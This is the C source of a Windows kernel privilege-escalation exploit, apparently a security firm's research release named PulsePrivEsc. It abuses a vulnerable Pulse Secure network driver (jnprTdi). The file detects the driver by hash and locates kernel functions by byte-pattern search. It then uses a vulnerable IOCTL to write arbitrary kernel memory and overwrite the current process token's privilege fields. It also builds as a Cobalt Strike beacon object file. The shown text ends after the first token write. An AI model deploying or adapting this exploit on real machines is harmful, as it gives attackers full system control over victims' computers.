README.md
Rendering markdown...
/**
* The MIT License (MIT)
* =====================
*
* Copyright (c) 2023 Northwave Cyber Security. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the “Software”), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* Standard Input Output.
*
* Defines three variable types, several macros, and various functions for performing input and output.
* https://www.tutorialspoint.com/c_standard_library/stdio_h.htm
*/
#include <stdio.h>
/**
* Standard Library.
*
* Defines four variable types, several macros, and various functions for performing general functions.
* https://www.tutorialspoint.com/c_standard_library/stdlib_h.htm
*/
#include <stdlib.h>
/**
* Integers.
*
* Defines macros that specify limits of integer types corresponding to types defined in other standard headers.
* https://pubs.opengroup.org/onlinepubs/009696899/basedefs/stdint.h.html
*/
#include <stdint.h>
/**
* Booleans.
*
* Defines boolean types.
* https://pubs.opengroup.org/onlinepubs/007904975/basedefs/stdbool.h.html
*/
#include <stdbool.h>
/**
* Windows API.
*
* Contains declarations for all of the functions, macro's & data types in the Windows API.
* Define 'WIN32_LEAN_AND_MEAN' to make sure windows.h compiles without warnings.
* https://docs.microsoft.com/en-us/previous-versions//aa383749(v=vs.85)?redirectedfrom=MSDN
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
/**
* Internal NT API's and data structures.
*
* Helper library that contains NT API's and data structures for system services, security and identity.
* https://docs.microsoft.com/en-us/windows/win32/api/winternl/
*/
#include <winternl.h>
/**
* Process Status API (PSAPI).
*
* Helper library that makes it easier for you to obtain information about processes and device drivers.
* https://docs.microsoft.com/en-us/windows/win32/api/psapi/
*/
#include <psapi.h>
/**
* Windows Version Helpers
*
* Helper library that contains functions to check which operating system version is running.
* https://learn.microsoft.com/en-us/windows/win32/api/versionhelpers/
*/
#include <versionhelpers.h>
/**
* Application Installation and Servicing (MSI) Helpers
*
* Contains declarations and definitions related to the Windows Installer technology.
* https://learn.microsoft.com/en-us/windows/win32/api/msi/
*/
#include <msi.h>
/**
* Link required libraries
*/
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Ntdll.lib")
#pragma comment(lib, "PsApi.lib")
#pragma comment(lib, "Msi.lib")
/**
* Load custom header files.
*/
#include "headers/structs.h"
#include "headers/imports.h"
#include "headers/beacon.h"
/**
* Predefined definitions
*/
#define DEBUG 0x1 // Verbose printing (if positive)
#define VULNERABLE_IOCTL 0x80002018 // IOCTL that is vulnerable
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 // Possible return status of API
#define SystemModuleInformation 0x0B // Type of system information to retrieve
#define SystemExtendedHandleInformation 0x40 // Type of system information to retrieve
/**
* Define cross-compatible print methods
*/
#ifdef BOF
#define PRINT(...) { \
BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
}
#else
#define PRINT(...) { \
fprintf(stdout, "[+] "); \
fprintf(stdout, __VA_ARGS__); \
fprintf(stdout, "\n"); \
}
#endif
#ifdef BOF
#define PRINT_ERROR(...) { \
BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \
}
#else
#define PRINT_ERROR(...) { \
fprintf(stdout, "[!] "); \
fprintf(stdout, __VA_ARGS__); \
fprintf(stdout, "\n"); \
}
#endif
#ifdef BOF
#define PRINT_DEBUG(...) { \
if (DEBUG) { \
BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
} \
}
#else
#define PRINT_DEBUG(...) { \
if (DEBUG) { \
fprintf(stdout, "[i] "); \
fprintf(stdout, __VA_ARGS__); \
fprintf(stdout, "\n"); \
} \
}
#endif
/**
* Check if the given haystack (string) starts with the given needle (string).
*
* @param char* haystack The haystack that may contain a needle
* @param char* needle The needle that may be present in the haystack.
* @return bool Positive if the haystack indeed starts with the needle.
*/
bool startsWith(char* haystack, char* needle) {
if(strncmp(haystack, needle, strlen(needle)) == 0) {
return true;
}
return false;
}
/**
* Get the virtual address base from the given image.
*
* @return LPVOID A pointer to the image base in the system space.
*/
LPVOID getImageBase(LPCSTR imageName) {
DWORD dwSize = 0;
if (NtQuerySystemInformation(SystemModuleInformation, NULL, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH) {
PRINT_ERROR("Cannot get length of system module list array while trying to obtain an image base.");
return NULL;
}
PRTL_PROCESS_MODULES pSystemModules = (PRTL_PROCESS_MODULES) GlobalAlloc(GMEM_ZEROINIT, dwSize);
if (!pSystemModules) {
PRINT_ERROR("Cannot allocate memory for system module list while trying to obtain an image base.");
return NULL;
}
if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, pSystemModules, dwSize, &dwSize))) {
PRINT_ERROR("Cannot get system module list while trying to obtain an image base.");
GlobalFree(pSystemModules);
return NULL;
}
DWORD dwCount = pSystemModules->NumberOfModules;
for (DWORD i = 0; i < dwCount; i++) {
if (strstr((char*) pSystemModules->Modules[i].FullPathName, imageName)) {
LPVOID pBase = (LPVOID) pSystemModules->Modules[i].ImageBase;
GlobalFree(pSystemModules);
return pBase;
}
}
PRINT_ERROR("Cannot find %s in system module list while trying to obtain an image base.", imageName);
GlobalFree(pSystemModules);
return NULL;
}
/**
* Check if and which one of the known to be vulnerable services/drivers is installed.
*
* @param char* driverName Where the identified driver name is written to.
* @return bool If the vulnerable service is installed.
*/
bool getVulnerableDriverInstalled(char* driverName) {
HKEY hKeyDriver;
HKEY hKeyServices;
DWORD imagePathSize = 0;
char imagePath[MAX_PATH];
// Open registry key for listing all service names
if (RegOpenKeyA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", &hKeyServices) != ERROR_SUCCESS) {
return false;
}
size_t index = 0;
char keyName[MAX_PATH];
// Enumerate all services
for (index = 0; RegEnumKeyA(hKeyServices, index, keyName, sizeof(keyName)) == ERROR_SUCCESS; index++) {
// We're only looking for services that start with our driver name
if (!startsWith(keyName, "jnprTdi")) {
continue;
}
// We should be able to open the registry key
if (RegOpenKeyA(hKeyServices, keyName, &hKeyDriver) != ERROR_SUCCESS) {
continue;
}
// We should be able to get its image path size
if (RegGetValueA(hKeyDriver, NULL, "ImagePath", RRF_RT_ANY, NULL, NULL, &imagePathSize) != ERROR_SUCCESS) {
continue;
}
// We should be able to read the full image path
imagePathSize += 1; // include new line
if (RegGetValueA(hKeyDriver, NULL, "ImagePath", RRF_RT_ANY, NULL, imagePath, &imagePathSize) != ERROR_SUCCESS) {
continue;
}
// Retrieve the hash of the specific driver image (PE-file)
PMSIFILEHASHINFO hash = calloc(1, sizeof(MSIFILEHASHINFO));
hash->dwFileHashInfoSize = sizeof(MSIFILEHASHINFO);
if (MsiGetFileHashA(imagePath + 4, 0, hash) != ERROR_SUCCESS) {
continue;
}
// Check if the hash corresponds to the vulnerable driver hash
if (hash->dwData[0] == 0x4764a17d && hash->dwData[1] == 0xc800d2a3 && hash->dwData[2] == 0x6805edc3 && hash->dwData[3] == 0x1e2ea628) {
strncpy(driverName, keyName, MAX_PATH);
return true;
}
}
return false;
}
/**
* Open a handle to the symbolic link of the driver to check if it's running.
*
* @param char* driverSymbolicLink The path to the driver's symbolic link.
* @return bool Positive if currently running, false otherwise.
*/
bool isVulnerableDriverRunning(char* driverSymbolicLink) {
HANDLE hDevice = CreateFileA(driverSymbolicLink, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
return false;
}
CloseHandle(hDevice);
return true;
}
/**
* Retrieve the major and minor version of the current operating system.
*
* @param WINDOWS_VERSION* windowsVersion The output Windows version variable.
* @return bool Positive if succesfully got Windows version.
*/
bool getWindowsVersion(WINDOWS_VERSION* windowsVersion) {
uint8_t* peb = (__readgsqword(0x60));
windowsVersion->OSMajorVersion = *((uint32_t *)(peb + 0x0118)); // peb->OSMajorVersion;
windowsVersion->OSMinorVersion = *((uint32_t *)(peb + 0x011C)); // peb->OSMinorVersion;
windowsVersion->OSBuildNumber = *((uint32_t *)(peb + 0x0120)); // peb->OSBuildNumber;
return true;
}
/**
* Check if the current operating system is Windows 10.
*
* @return bool Positive if Windows 10.
*/
bool isWindows10() {
WINDOWS_VERSION windowsVersion;
if (!getWindowsVersion(&windowsVersion)) {
// Could not get version
return false;
}
if (windowsVersion.OSMajorVersion != 10) {
// Lower or higher than Windows 10/11
return false;
}
if (windowsVersion.OSBuildNumber >= 22000) {
// Windows 11
return false;
}
return true;
}
/**
* Check if the current operating system is Windows 11.
*
* @return bool Positive if Windows 11.
*/
bool isWindows11() {
WINDOWS_VERSION windowsVersion;
if (!getWindowsVersion(&windowsVersion)) {
// Could not get version
return false;
}
if (windowsVersion.OSMajorVersion != 10) {
// Lower or higher than Windows 10/11
return false;
}
if (windowsVersion.OSBuildNumber < 22000) {
// Windows 10
return false;
}
return true;
}
/**
* Check if the given haystack starts with the given byte/match sequence.
*
* @param char* haystack A byte sequence to search in (e.g. `ntoskrnl.exe` memory).
* @param char* needle A byte sequence (egg) to search for (e.g. `\x8B\x42\x00\x00\x00\xB7\xC9`)
* @param char* mask Which bytes must match in the image (e.g. `xx???xx`).
* @return bool Positive if it is a match, negative otherwise.
*/
bool byteSequenceStartsWithByteSequence(uint8_t* haystack, uint8_t* needle, uint8_t* mask) {
size_t i;
for (i = 0; i < strlen(mask); i++) {
if(mask[i] == 'x' && haystack[i] != needle[i]) {
return 0;
}
}
return i == strlen(mask);
}
/**
* Find offset of exported functions via `GetProcAddress`.
*
* @param char* imageName The name of the image to load (e.g. `ntoskrnl.exe`).
* @param char* exportName Which function name to get the offset for.
* @return uint64_t The offset to the function if found. Zero otherwise.
*/
uint64_t findFunctionOffsetByExport(char* imageName, char* exportName) {
HANDLE hImage = LoadLibraryExA(imageName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hImage == NULL) {
return 0;
}
LPVOID hExport = (LPVOID) GetProcAddress(hImage, exportName);
if (hExport == NULL) {
return 0;
}
return (uint64_t) (((uintptr_t) hExport) - ((uintptr_t) hImage));
}
/**
* Find offset of unexported functions via some sort of egg hunting (byte sequence search).
*
* Note:
* Let's say you have a byte sequence of `\x8B\x42 ? ? ? \xB7\xC9` in "ntoskrnl.exe" of which the first two and last two
* bytes are static, and the middle three are different depending on OS version. Then you can call this function as follows:
* findFunctionOffsetInImageByByteSequence("ntoskrnl.exe", "\x8B\x42\x00\x00\x00\xB7\xC9", "xx???xx");
*
* @param char* imageName The name of the image to load (e.g. `ntoskrnl.exe`).
* @param char* needle A byte sequence (egg) to search for (e.g. `\x8B\x42\x00\x00\x00\xB7\xC9`)
* @param char* mask Which bytes must match in the image (e.g. `xx???xx`).
* @return uint64_t The offset to the function if found. Zero otherwise.
*/
uint64_t findFunctionOffsetInImageByByteSequence(char* imageName, char* needle, char* mask) {
uint64_t result = 0;
HMODULE hModule = LoadLibraryExA(imageName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if(hModule == NULL) {
PRINT_ERROR("LoadLibraryExA failed. LastError: 0x%.8x.", GetLastError());
goto CLEANUP_AND_RETURN;
}
// Retrieve information about the loaded module
MODULEINFO modinfo;
bool gotModuleInformation = GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(modinfo));
if (!gotModuleInformation) {
PRINT_ERROR("GetModuleInformation failed. LastError: 0x%.8x.", GetLastError());
goto CLEANUP_AND_RETURN;
}
// Number of bytes to read from memory
size_t nNumberOfBytesToRead = (size_t) modinfo.SizeOfImage;
// Allocate memory for bytes to read and a null termination
uint8_t* bytes = calloc(nNumberOfBytesToRead, sizeof(uint8_t));
// Define how many bytes have been read
size_t* lpNumberOfBytesRead = 0;
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId());
if(hProcess == NULL) {
PRINT_ERROR("OpenProcess failed. LastError: 0x%.8x.", GetLastError());
goto CLEANUP_AND_RETURN;
}
if(ReadProcessMemory(hProcess, modinfo.lpBaseOfDll, bytes, nNumberOfBytesToRead, lpNumberOfBytesRead) == NULL) {
PRINT_ERROR("Failed to read process memory. LastError: 0x%.8x.", GetLastError());
goto CLEANUP_AND_RETURN;
}
for (size_t i = 0; i < modinfo.SizeOfImage; i ++) {
if (byteSequenceStartsWithByteSequence(bytes + i, needle, mask)) {
result = (uint64_t) i;
goto CLEANUP_AND_RETURN;
}
}
CLEANUP_AND_RETURN:
if (hProcess != NULL) CloseHandle(hProcess);
return result;
}
/**
* Obtain an object pointer by the given handle.
*
* @param HANDLE h The handle to find the object pointer for.
* @return PVOID The object pointer for the given handle (or NULL on failure).
*/
PVOID GetObjectPointerByHandle(HANDLE h) {
// Define the maximum size for the buffer that contains the handle information
const ULONG bufferSize = 1024 * 1024 * 10; // 10 MB
DWORD pid = GetCurrentProcessId();
// Allocate memory for the handle information buffer
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferSize);
if (!pHandleInfo) {
return STATUS_NO_MEMORY;
}
// Query the system handle information for all handles in the current process
NTSTATUS status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, NULL);
if (!NT_SUCCESS(status)) {
#ifndef BOF // We cannot use anymore Win32 API calls in CobaltStrike: no slot for function (reduce number of Win32 APIs called)
HeapFree(GetProcessHeap(), 0, pHandleInfo);
#endif
return status;
}
// Loop through the handles and find the one that matches the specified handle
ULONG i;
for (i = 0; i < pHandleInfo->NumberOfHandles; i++) {
PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX pHandleEntry = &(pHandleInfo->Handles[i]);
if (pid == pHandleEntry->UniqueProcessId && pHandleEntry->HandleValue == h) {
return pHandleEntry->Object;
}
}
return NULL;
}
/**
* Write a BYTE that the struct holds, using the handle that the struct holds.
*
* @param struct BYTE_VER wv Data to write.
*/
void write_byte(struct BYTE_VER *bv) {
// Commented this write as it will be outputted threaded and will fuck up console output
// PRINT("write_byte called with hdev = %X | target = %llX | word = %X.", bv->hdev, bv->target, bv->byte);
size_t returned_bytes;
uint64_t *input_buffer = calloc(0x100, 1);
uint64_t *initial_buffer = calloc(0x100, 1);
uint64_t *buff_30h = calloc(0x100, 1);
uint64_t *iocsq_rsi_plus_8h = calloc(0x100, 1);
// /*
// * Configuring the pointer to hold the byte we want to write
// * in the LSB. -0x50 at the end to compensate for the +0x50
// * that is done inside the driver code
// */
uint8_t* buff_28htmp = ((uint8_t *)calloc(0x3000, 1));
buff_28htmp = buff_28htmp + 0x1000;
uint64_t minus = (uint8_t*) (((uint64_t) buff_28htmp) % 0x1000);
buff_28htmp = buff_28htmp - minus;
uint64_t *buff_28h = (uint64_t*) (buff_28htmp + 0x100 + bv->byte - 0x50);
input_buffer[0] = initial_buffer;
initial_buffer[0x28 / sizeof(uint64_t)] = buff_28h;
initial_buffer[0x30 / sizeof(uint64_t)] = buff_30h;
iocsq_rsi_plus_8h[0] = bv->target;
iocsq_rsi_plus_8h[0x68 / sizeof(uint64_t)] = 1;
iocsq_rsi_plus_8h[0x18 / sizeof(uint64_t)] = 1; // Required to pass a check in write_char_0
iocsq_rsi_plus_8h[0x08 / sizeof(uint64_t)] = 0x1000; // Required to pass a check in write_char_0
buff_30h[(0x08 / sizeof(uint64_t))] = iocsq_rsi_plus_8h;
buff_28h[(0x50 / sizeof(uint64_t))] = 1; // Locked spin lock object
/*
* Setting Function pointers
*/
buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_TEST_SPIN_LOCK;
buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_WRITE_BYTE;
buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_SPIN_LOCK;
DeviceIoControl(bv->hdev, VULNERABLE_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes , NULL);
// PRINT_ERROR("This printf will never execute, unless we manually lift and fix the spinlock.");
}
/**
* Write a WORD that the struct holds, using the handle that the struct holds.
*
* Note: As of Windows 11 Pro 23H2 22631, the implementation of `write_char_1` changed.
* As a quick fix, the implementation of this `write_word` function has been replaced with
* two `write_byte` calls.
*
* @param struct WORD_VER wv Data to write.
*/
void write_word(struct WORD_VER *wv) {
HANDLE h1 = CreateFileA(wv->DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
struct BYTE_VER *bv1 = calloc(1, sizeof(struct BYTE_VER));
bv1->hdev = h1;
bv1->target = wv->target + 1;
bv1->byte = (wv->word & 0xFF00) >> 8;
bv1->DRIVER_DEVICE_SYMBOLIC_LINK = wv->DRIVER_DEVICE_SYMBOLIC_LINK;
bv1->NTOSKRNL_BASE = wv->NTOSKRNL_BASE;
bv1->OFFSET_TEST_SPIN_LOCK = wv->OFFSET_TEST_SPIN_LOCK;
bv1->OFFSET_WRITE_BYTE = wv->OFFSET_WRITE_BYTE;
bv1->OFFSET_SPIN_LOCK = wv->OFFSET_SPIN_LOCK;
HANDLE t1 = CreateThread(NULL, 0, write_byte, bv1, 0, NULL);
SetThreadPriority(t1, THREAD_PRIORITY_LOWEST);
HANDLE h2 = CreateFileA(wv->DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
struct BYTE_VER *bv2 = calloc(1, sizeof(struct BYTE_VER));
bv2->hdev = h2;
bv2->target = wv->target;
bv2->byte = (wv->word & 0xFF);
bv2->DRIVER_DEVICE_SYMBOLIC_LINK = wv->DRIVER_DEVICE_SYMBOLIC_LINK;
bv2->NTOSKRNL_BASE = wv->NTOSKRNL_BASE;
bv2->OFFSET_TEST_SPIN_LOCK = wv->OFFSET_TEST_SPIN_LOCK;
bv2->OFFSET_WRITE_BYTE = wv->OFFSET_WRITE_BYTE;
bv2->OFFSET_SPIN_LOCK = wv->OFFSET_SPIN_LOCK;
HANDLE t2 = CreateThread(NULL, 0, write_byte, bv2, 0, NULL);
SetThreadPriority(t2, THREAD_PRIORITY_LOWEST);
}
/**
* Write the given value of size to the given address
*
* @param char size (`q` for QWORD, `d` for DWORD, `w` for WORD and `b` for BYTE).
* @param uint64_t address Address to write to.
* @param uint64_t value The value to write.
* @param char* DRIVER_DEVICE_SYMBOLIC_LINK Symbolic link of the driver.
* @param LPVOID NTOSKRNL_BASE Base address of the kernel.
* @param uint64_t OFFSET_TEST_SPIN_LOCK Offset of KeTestSpinLock.
* @param uint64_t OFFSET_WRITE_BYTE Offset of write_char_0.
* @param uint64_t OFFSET_SPIN_LOCK Offset of KxWaitForSpinLockAndAcquire.
*/
void write_mem(char size, uint64_t address, uint64_t value, char* DRIVER_DEVICE_SYMBOLIC_LINK, LPVOID NTOSKRNL_BASE, uint64_t OFFSET_TEST_SPIN_LOCK, uint64_t OFFSET_WRITE_BYTE, uint64_t OFFSET_SPIN_LOCK) {
if (size == 'q') {
struct WORD_VER *wv4 = calloc(1, sizeof(struct WORD_VER));
wv4->target = address + 6;
wv4->word = (value & 0xFFFF000000000000) >> 48;
wv4->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK;
wv4->NTOSKRNL_BASE = NTOSKRNL_BASE;
wv4->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK;
wv4->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE;
wv4->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK;
write_word(wv4);
struct WORD_VER *wv3 = calloc(1, sizeof(struct WORD_VER));
wv3->target = address + 4;
wv3->word = (value & 0x0000FFFF00000000) >> 32;
wv3->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK;
wv3->NTOSKRNL_BASE = NTOSKRNL_BASE;
wv3->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK;
wv3->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE;
wv3->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK;
write_word(wv3);
size = 'd';
}
if (size == 'd') {
struct WORD_VER *wv2 = calloc(1, sizeof(struct WORD_VER));
wv2->target = address + 2;
wv2->word = (value & 0xFFFF0000) >> 16;
wv2->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK;
wv2->NTOSKRNL_BASE = NTOSKRNL_BASE;
wv2->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK;
wv2->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE;
wv2->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK;
write_word(wv2);
size = 'w';
}
if (size == 'w') {
struct WORD_VER *wv1 = calloc(1, sizeof(struct WORD_VER));
wv1->target = address;
wv1->word = (value & 0xFFFF);
wv1->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK;
wv1->NTOSKRNL_BASE = NTOSKRNL_BASE;
wv1->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK;
wv1->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE;
wv1->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK;
write_word(wv1);
}
if (size == 'b') {
HANDLE h = CreateFileA(DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
struct BYTE_VER *bv = calloc(1, sizeof(struct BYTE_VER));
bv->hdev = h;
bv->target = address;
bv->byte = (value & 0xFF);
bv->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK;
bv->NTOSKRNL_BASE = NTOSKRNL_BASE;
bv->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK;
bv->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE;
bv->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK;
HANDLE t = CreateThread(NULL, 0, write_byte, bv, 0, NULL);
SetThreadPriority(t, THREAD_PRIORITY_LOWEST);
}
}
/**
* Perform the kernel exploit & elavation.
*/
void boot() {
/**
* Dynamic definitions (retrieved on run as they vary between OS versions)
*/
char* DRIVER_DEVICE_NAME = NULL; // jnprTdi_[major]_[minor]
char* DRIVER_DEVICE_SYMBOLIC_LINK = NULL; // \\.\jnprTdi_[major]_[minor]
uint64_t OFFSET_SPIN_LOCK = 0; // KxWaitForSpinLockAndAcquire
uint64_t OFFSET_TEST_SPIN_LOCK = 0; // KeTestSpinLock
uint64_t OFFSET_WRITE_BYTE = 0; // write_char_0
LPVOID NTOSKRNL_BASE = NULL; // Kernel base address
// Provide feedback to the user that the BOF is running.
PRINT("Starting PulsePrivEsc...");
HANDLE hToken;
// Identifying if we're running Windows 10 or 11, as this exploit has only been tested on a few Windows 10 and 11 builds.
if (!isWindows10() && !isWindows11()) {
PRINT_ERROR("This exploit is only tested on Windows 10 and 11. If you know what you're doing, you may adjust the code to allow running the exploit on other Windows versions.");
return;
} else {
PRINT("Running on Windows 10 or 11.");
}
// Identifying if vulnerable kernel driver is installed.
DRIVER_DEVICE_NAME = calloc(MAX_PATH, sizeof(uint8_t));
if (!getVulnerableDriverInstalled(DRIVER_DEVICE_NAME)) {
PRINT_ERROR("Vulnerable kernel driver is not installed.");
return;
} else {
PRINT("Found vulnerable driver: %s.", DRIVER_DEVICE_NAME);
}
DRIVER_DEVICE_SYMBOLIC_LINK = calloc(0x1000, sizeof(uint8_t));
strncpy(DRIVER_DEVICE_SYMBOLIC_LINK, "\\\\.\\", 0x4);
strncat(DRIVER_DEVICE_SYMBOLIC_LINK, DRIVER_DEVICE_NAME, 0x1000);
// Identifying if driver is running. If not, the user must start it.
// We test this simply (and not a 100% correctly) by opening a handle to its symbolic link
// User must start the driver using `pulselauncher.exe`, which spawns a process. We need to improve that.
if (!isVulnerableDriverRunning(DRIVER_DEVICE_SYMBOLIC_LINK)) {
PRINT_ERROR("Vulnerable kernel driver is not running or TDI-failover is not configured.");
PRINT_ERROR("Setup an virtual evaluation appliance of Pulse Secure with TDI-failover.");
PRINT_ERROR("Connect the victim machine to that appliance using `pulselauncher.exe` to start the driver.");
PRINT_ERROR("Read the `README.md` for more information.");
return;
} else {
PRINT("Vulnerable kernel driver is running.");
}
// We must be able to map 0x80002018 as it's used in the exploit.
PRINT("Mapping the page that references address 0x80002018.");
uint64_t allocatedBaseAddress = VirtualAlloc(0x80002018, 4096 * 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (((uint32_t) allocatedBaseAddress) != 0x80000000) {
PRINT_ERROR("Unable to map the page backing address 0x80002018 (allocatedBaseAddress = 0x%lX). LastError: 0x%.8x.", allocatedBaseAddress, GetLastError());
return;
} else {
PRINT("Mapped page backing address 0x80002018 (allocatedBaseAddress = 0x%lX).", allocatedBaseAddress);
}
// We must be able to obtain the base address of ntoskrnl.exe
PRINT("Trying to obtain ntoskrnl.exe base.");
NTOSKRNL_BASE = getImageBase("ntoskrnl.exe");
if (!NTOSKRNL_BASE) {
PRINT_ERROR("Could not obtain ntoskrnl.exe base.");
goto CLEANUP;
} else {
PRINT("Obtained ntoskrnl.exe base: %llX.", NTOSKRNL_BASE);
}
// Find offsets of functions dynamically (exported)
OFFSET_TEST_SPIN_LOCK = findFunctionOffsetByExport("c:\\windows\\system32\\ntoskrnl.exe", "KeTestSpinLock");
if (!OFFSET_TEST_SPIN_LOCK) {
PRINT_ERROR("Unable to find `KeTestSpinLock` in `ntoskrnl.exe` via `GetProcAddress`.");
goto CLEANUP;
} else {
PRINT("Obtained `KeTestSpinLock` address: %llX.", NTOSKRNL_BASE + OFFSET_TEST_SPIN_LOCK);
}
// Dirty hack to find offsets of functions dynamically (non-exported)
if (isWindows10()) {
OFFSET_SPIN_LOCK = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xEC\x20\x65\x48\x8B\x34\x25\x20\x00\x00\x00", "xxxxxxxxxxxxxxxxxxxxxxxx");
OFFSET_WRITE_BYTE = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x40\x53\x48\x83\xEC\x20\x8B\x42\x18\x49\x8B\xD8\xA8\x40", "xxxxxxxxxxxxxx");
} else if (isWindows11()) {
OFFSET_SPIN_LOCK = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x48\x89\x5C\x24\x00\x57\x48\x83\xEC\x20\x48\x8B\xF9\x33\xDB\x90", "xxxx?xxxxxxxxxxx");
OFFSET_WRITE_BYTE = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x40\x53\x48\x83\xEC\x20\x8B\x42\x18\x49\x8B\xD8\xA8\x40", "xxxxxxxxxxxxxx");
}
if (!OFFSET_SPIN_LOCK) {
PRINT_ERROR("Unable to find `KxWaitForSpinLockAndAcquire` in `ntoskrnl.exe` via egg hunt.");
goto CLEANUP;
} else {
PRINT("Obtained `KxWaitForSpinLockAndAcquire` address: %llX.", NTOSKRNL_BASE + OFFSET_SPIN_LOCK);
}
if (!OFFSET_WRITE_BYTE) {
PRINT_ERROR("Unable to find `write_char_0` in `ntoskrnl.exe` via egg hunt.");
goto CLEANUP;
} else {
PRINT("Obtained `write_char_0` address: %llX.", NTOSKRNL_BASE + OFFSET_WRITE_BYTE);
}
PRINT("Trying to obtain current process token.");
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
uint8_t *currentToken = GetObjectPointerByHandle(hToken);
if (currentToken == NULL) {
PRINT_ERROR("Unable to obtain handle to current process token.");
goto CLEANUP;
} else {
PRINT("Obtained token address of current process: %p.", currentToken);
}
PRINT("Creating writer thread(s)...");
write_mem('q', currentToken + 0x50, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Default
